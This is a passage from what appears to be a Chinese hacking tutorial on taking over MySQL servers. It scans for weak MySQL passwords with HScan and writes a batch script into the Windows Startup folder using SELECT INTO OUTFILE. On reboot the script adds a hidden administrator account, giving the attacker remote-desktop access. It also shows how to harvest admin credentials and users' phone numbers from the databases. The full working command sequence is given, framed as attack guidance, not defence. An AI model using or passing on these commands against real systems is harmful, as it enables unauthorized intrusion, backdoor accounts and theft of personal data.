MySQL作为一款免费数据库,如今在网络上已被广泛使用。由于在MySQL数据库中不能执行命令,所以,MySQL数据库在攻击难度上高于MSSQL数据库。研究表明,有3种思路可以对MySQL进行攻击,攻击的前提条件是已经获得了MySQL的用户名和密码。
本例主要介绍以上第一种和第二种情况,其他情况读者可以自行尝试。
图3-65 设置MySQL扫描参数
设置扫描的起始IP地址和结束IP地址,在扫描模块中选择“check MySQL weak account”选项,如图3-65所示。设置完毕,在“menu”菜单中选择“start”选项,开始扫描MySQL弱口令。
扫描结束后,在Hscan左下方区域会显示详细的扫描结果,如图3-66所示。
图3-66 MySQL扫描结果
选择一条扫描记录,然后单击“connect”命令,连接MySQL数据库。在MySQL数据库中,所有的命令都是在DOS提示符下运行的。连接成功后会出现MySQL的提示符,在其中输入“show databases;”命令查看数据库服务器中的数据库,如图3-67所示。
图3-67 连接并查看MySQL数据库服务器中的数据库
说明
(1)MySQL数据库开放的端口是3306,如果不使用HScan软件直接进行连接,可以使用MySQL数据库连接命令进行连接。
(2)在MySQL中,执行命令时需要在每一个语句后面加上“;”才能使命令成功运行。
(3)在MySQL中有一些常用命令。“show databases;”命令用于查看数据库服务器中的数据库,“show tables;”命令用于查看当前数据库中的表,“use databasename;”命令表示数据库名称为“databasename”的数据库为当前数据库。
(4)在对被入侵服务器的MySQL发动攻击前,要扫描被入侵服务器的端口开放情况,以便后期控制。一般选择开放23、4899、3389端口的服务器。
依次运行以下命令,完成后如图3-68所示。
图3-68 创建表并将VBS脚本插入表
使用以下命令将刚才在a表中创建的VBS脚本导出到启动选项中。
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开 始」菜单\\程序\\启动\\a.vbs";
导入成功后,系统重新启动时会自动添加密码为“1”且用户名为“1”的用户到管理员组中。在实际使用过程中,该脚本成功执行的几率比较低,有时会出现不能导出的错误,如图3-69所示。
图3-69 导出脚本错误
推荐使用以下脚本。
show databases ; use test; show tables; create table b (cmd text); insert into b values ("net user Aspnet 123545345!* /add"); insert into b values ("net localgroup administrators Aspnet /add"); insert into b values ("del b.bat"); select * from b into outfile "C:\\Documents and Settings\\All Users\\「开 始」菜单\\程序\\启动\\b.bat";
该脚本执行后会闪现DOS窗口,如果有权限导入启动选项中,则一定会执行成功。在虚拟机中通过MySQL连接器连接并执行以上命令后,在“C:\Documents and Settings\All Users\「开始」菜单\程序\启动”目录中会有刚才导出的b.bat脚本文件,如图3-70所示。
图3-70 导出bat脚本到启动选项
说明
在不同的操作系统中,“C:\Documents and Settings\All Users\「开始」菜单\程序\启动”目录文件名称可能会不同,这个时候将其换成相应的目录名称即可。如果是英文版本的操作系统,则其插入的代码如下。
select * from b into outfile "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\b.bat";
如果该计算机开放了3389端口,可以直接进行连接;如果将b.bat换成其他bat命令,可以执行其他命令来实施控制。
说明
(1)拥有MySQL的用户名称和口令后,可以通过查看数据库中的信息对MySQL数据库服务器实施控制。在本例中,通过查看数据库、表及表中的内容获取了管理员的密码和名称,如图3-71所示。
图3-71 查看表中的信息
(2)在MySQL数据库中一般会存在多个数据库。通过“show databases;”、“show tablesname;”、“select * from tablesname;”等命令可以获取表中的具体内容,而通过查看其中的内容可以进行Web服务器域名信息及一些网站管理员的密码和用户名称的定位。在本例中,通过查看其他的数据库,还获取了大量的用户信息,其中包含管理员的手机号码等,如图3-72所示。
图3-72 获取额外信息
本例通过HScan扫描MySQL口令,扫描出口令以后,借助HScan的MySQL连接功能直接连接MySQL,通过创建表将VBS脚本插入表中,然后再导出到系统的启动目录下,系统重新启动以后,会自动添加用户,进而通过远程终端3389连接该MySQL服务器所在的计算机,成功实施控制。